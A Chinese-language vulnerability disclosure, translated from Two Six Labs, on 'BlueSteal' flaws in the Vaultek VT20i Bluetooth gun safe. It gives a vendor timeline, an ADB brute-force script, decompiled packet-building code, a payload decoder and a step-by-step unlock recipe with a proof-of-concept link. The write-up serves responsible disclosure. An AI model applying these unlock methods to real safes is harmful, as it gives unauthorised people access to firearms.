- A+
本文中,我们将详细介绍针对著名枪支箱柜厂商Vaultek旗下手枪保险箱VT20i的三个漏洞利用。VT20i是亚马逊上的畅销枪支保险箱产品,它也是我们接触到的外形和适用性都非常好的枪支保险箱之一。在我们的测试中,可以通过传输特殊格式的蓝牙消息远程解锁VT20i,我们把这种漏洞利用方法称之为BlueSteal。VT20i存在的漏洞表明,产品在生产过程早期亟需引入安全审计机制。
漏洞披露时间
2017.6.10 Vaultek初次就我们上报的漏洞与我们取得联系
2017.7.11 Vaultek告知我们,他们已经通过以下方法进行了更新:1.增加禁用蓝牙解锁或所有连接选项;2.针对暴力攻击设置了超时限制;3.在手机App和保险箱的通信间采取了加密措施。
如前所述,Vaultek已经意识到了这些漏洞的严重性,为了提高产品的蓝牙安全性和客户安全服务度, 正想办法解决这些漏洞问题。目前,Vaultek正在积极开发新的固件更新,不久将会提供下载。如果你对手边的VT20i存在安全担忧,可以选择禁用蓝牙连接,直接使用说明书中给出的热键切换功能。
三个存在漏洞
一个有意思的漏洞 – VT20i提供的手机App允许无限次配对尝试,且配对PIN码与解锁PIN码相同,由此存在暴力攻击可能;
CVE-2017-17436 – App和VT20i保险箱之间的通信无加密措施,成功配对后,App将会以明文方式传输保险箱PIN码。虽然原先Vaultek官方资料宣称,该通信通道使用了“高级别的蓝牙加密”和“AES256位加密数据传输“。但明显胡说, AES256并不支持低功耗蓝牙标准(Bluetooth LE),但我们也没在该通信中发现支持低Bluetooth LE的AES-128。这种通信间的加密措施缺乏将会使得传输密码存在泄露。
CVE-2017-17435 – 在不知道解锁PIN码的前提下,攻击者可以通过发送特殊格式的蓝牙消息来远程解锁此产品系列中的任何保险箱。因为尽管VT20i的App会在解锁请求中要求有效的PIN码,但在实际情况中,保险箱并不会验证PIN码的正确性,所以只要消息配对成功,攻击者就能获得授权并使用任意PIN码解锁保险箱。
漏洞分析
首先,我们要先下载Vaultek产品的手机APP(下载链接),我们使用了其安卓v2.0.1版本,APP软件制作商貌似是一家名为Youhone的中国厂家。打开APP后会提示使用PIN码和你相应型号的保险箱配对:
该配对PIN码竟然与解锁PIN码相同,APP成功与保险箱配对后,就能向保险箱发送解锁等一系列执行命令了:
在此,我们立刻想验证一下暴力攻击的可能。由于其PIN码只是数值为1-5且长度为4-8位的数字串,所以这么有限的密钥空间,完全可以编写简单的脚本利用Android Debug Bridge(ADB)实现暴力攻击。最理想情况下,一个4字符PIN码,存在5⁴种可能,按每次解锁尝试7秒时间算,共需要72分钟时间完成。
以下就是我们编写的一个快速破解脚本,它利用ADB和输入组合键与手机APP形成交互,最终将形成正确的PIN码,打开保险箱。
import os
import itertools
import time
for combination in itertools.product(xrange(1,6),repeat=4):
print ''.join(map(str,combination))
os.system("adb shell input touchscreen tap 600 600")
time.sleep(5)
os.system("adb shell input text"+ ' "' + ''.join(map(str,combination)) + '"')
time.sleep(1)
os.system("adb shell input touchscreen tap 500 1100")
time.sleep(1)
os.system("adb shell input touchscreen tap 850 770")
但在APP或保险箱有超时和重试次数限制时,这种暴力攻击漏洞可能就不太有效,但好在我们还有其它方法来解锁VT20i保险箱。
逆向工程
由于Vaultek APP与保险箱之间是通过蓝牙协议(Bluetooth LE)来进行通信的,即Vaultek APK是用来配对和解锁保险箱的,所以可从两方面来了解其运行机制:
静态分析APK解锁命令代码
动态分析蓝牙命令传输和登录动作
抓包分析
我们一开始使用Ubertooth来嗅探 APP与保险箱之间的通信流量,并把其捕获流量包记录到电脑中,经过分析,我们发现,其通信过程根本就没采用AES 256,且命令执行完全是明文信息!如下:
这就简单了,我们只需获得蓝牙的底层HCI日志就好(范例)。进一步分析,我们能发现蓝牙的通用属性协议(GATT)会话开始位置,APK会向 0xB 句柄发起一个请求,用来开启通知,随后,随0xA句柄开始一个漫长的会话交互。我们来详细看看APK中的一些数据交互过程。
APK代码分析
在一个并行路径中,我们使用 apktool 和 dex2jar来提取APK中的类文件,利用Procyon decompiler的GUI程序Luyten来检查反编译代码。
其中一个名为OrderUtilsVT20的类文件比较有意思,除了一些其它因素之外,该类还包含了命令载荷的格式化代码,而且竟然都是一些与其它形式命令相关的常量:
static {
OrderUtilsVT20.PASSWORD = "12345678";
OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 };
OrderUtilsVT20.CMD_AUTHOR = new byte[] { -128, -83 };
OrderUtilsVT20.CMD_INFO = new byte[] { 48, -51 };
OrderUtilsVT20.CMD_FINGER = new byte[] { 49, -51 };
OrderUtilsVT20.CMD_LOG = new byte[] { 50, -51 };
OrderUtilsVT20.CMD_DOOR = new byte[] { 51, -51 };
OrderUtilsVT20.CMD_SOUND = new byte[] { 52, -51 };
OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, -51 };
OrderUtilsVT20.CMD_DELETE = new byte[] { 54, -51 };
OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, -51 };
OrderUtilsVT20.CMD_TIME = new byte[] { 56, -51 };
OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, -51 };
OrderUtilsVT20.CMD_ERROR = new byte[] { 59, -51 };
OrderUtilsVT20.CMD_PAIR = new byte[] { 58, -51 };
OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, -51 };
}
这些值不会直接显示在流量捕获包中,经过深入分析,我们发现在APP和保险箱之间的通信还执行了一个奇怪的加密程序来对数据载荷进行打包变形。APK还会将加密后的数据载荷分成20字节的长度块,这种形式与流量捕获包中的内容一致。
其中用到的加密函数如下:
if (!StringUtil.isVT20(s)) {}
s = (String)(Object)new byte[array.length * 2 + 2];
s[0] = true;
s[s.length - 1] = -1;
for (int i = 0; i < array.length; ++i) {
final byte b = array[i];
final byte b2 = array[i];
s[i * 2 + 1] = (byte)(((b & 0xF0) >> 4) + 97);
s[i * 2 + 2] = (byte)((b2 & 0xF) + 97);
}
Label_0220: {
if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) {
int length = s.length;
int n = 0;
while (true) {
Label_0185: {
if (length > 20) {
break Label_0185;
}
array = new byte[length];
System.arraycopy(s, n * 20, array, 0, length);
int i = 0;
Label_0173_Outer:
while (true) {
this.SendData(array);
++n;
while (true) {
try {
Thread.sleep(10L);
length = i;
if (i == 0) {
this.processNextSend();
return;
}
break;
array = new byte[20];
System.arraycopy(s, n * 20, array, 0, 20);
i = length - 20;
continue Label_0173_Outer;
发现这个之后,其解密过程相对简单,我们编写的解密程序如下:
function decodePayload(payload){
var res = new Array();
for(var i=1;i<payload.length-1;i=i+2){
var tmp;
tmpA = payload[i]-97;
tmpB = payload[i+1]-97;
tmpC = (tmpA<<4) + tmpB;
res.push(tmpC);
}
return res;
}
把该解密程序应用到抓包数据中,可以很方便识别出APP向保险箱发送的指令内容,以下就是APP与保险箱之间的一个信息交互过程:
在APP与保险箱之间的信息交互中,最为有意思的是两个对话内容是getAuthor和openDoor方法,以下是getAuthor方法函数:
public static byte[] getAuthor(final String password) {
if (password == null || password.length() <= 0) {
return null;
}
System.out.println("获取授权码 " + password);
setPASSWORD(password);
(OrderUtilsPro.data = new byte[24])[0] = -46;
OrderUtilsPro.data[1] = -61;
OrderUtilsPro.data[2] = -76;
OrderUtilsPro.data[3] = -91;
setTime();
OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0];
OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1];
setRandom();
setDateLength(4);
CRC();
setPassWord();
return OrderUtilsPro.data;
}
可以看到在其中它调用了另一个方法setPassWord,它将填充的PIN码放到了getAuthor包之后:
public static void setPASSWORD(final String s) {
String password = s;
Label_0062: {
switch (s.length()) {
default: {}
case 4: {
password = "0000" + s;
break Label_0062;
}
case 7: {
password = "0" + s;
break Label_0062;
}
case 6: {
password = "00" + s;
break Label_0062;
}
case 5: {
password = "000" + s;
}
case 8: {
OrderUtilsPro.PASSWORD = password;
}
}
}
}
public static void setPassWord() {
for (int i = 0; i < 8; i += 2) {
OrderUtilsPro.data[23 - i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16);
}
}
getAuthor包格式如下:
由于APK在解锁过程中,未对预设的PIN码信息进行加密,所以其传输过程中的PIN码完全是明文状态。这就是第二个漏洞的成因。
我们也想到了可能getAuthor缺乏类似getAuthorization的验证机制,深入探究之后发现,在以上getAuthor包格式架构中,最末尾的PIN码是以明文方式传输的,确实没有其它PIN码验证机制。这就是第三个漏洞的成因,即保险箱不会检查getAuthor传输包中的PIN码正确性,不论PIN码内容如何都会返回一个有效的授权访问响应。
在对getAuthor请求的响应包的前4个字节中,包含了一个授权码或访问令牌信息。另外,我们花费了好长时间才弄清楚该响应是openDoor信息的必要部分,因此,我们只需获取该响应包中的授权码就能打开保险箱了。
获取授权码的代码如下:
switch (this.param) {
default: {}
case 41001: {
System.out.println("获取授权码VT");
this.author[0] = array[0];
this.author[1] = array[1];
this.author[2] = array[2];
this.author[3] = array[3];
}
前4个字节为授权码的openDoor包格式如下:
到最后,我们只需用APP与保险箱之间进行配对,利用openDoor包响应信息中的授权码就可打开保险箱了:
POC
http://paste.ubuntu.com/26162187/
以上POC脚本主要包括以下几个步骤:
1. 为getAuthor 和 openDoor方法定义了加密解密两个Payload函数;
2. 扫描保险箱,利用手机UUID定位我们需要交互的服务和特性;
3. 为了启用通知,往蓝牙客户端特性配置描述符( Client Characteristic Configuration Descriptor)中写入一个0×01的数值;
4. 将我们20个字节块的getAuthor编码数据作为一个写入命令发送给保险箱,随后等待保险箱的处理通知并提取其中的响应信息;
5. 解码响应信息,取其中的前4个字节的授权码,并将这些授权码字节放到我们的openDoor命令函数中;
6. 向保险箱发送带有授权码的openDoor 命令,开启保险箱!
后来我们发现getAuthor命令和之前所说的硬编码常量字节和CRC校验值相关,带有任意PIN码的一个getAuthor命令都会返回一个可以打开保险箱的授权码,而openDoor命令只检查授权码、常量字节和CRC值。利用以上漏洞,我们已在多个Vaultek VT20i系列产品上成功复现。
演示视频点这里
*参考来源:twosixlabs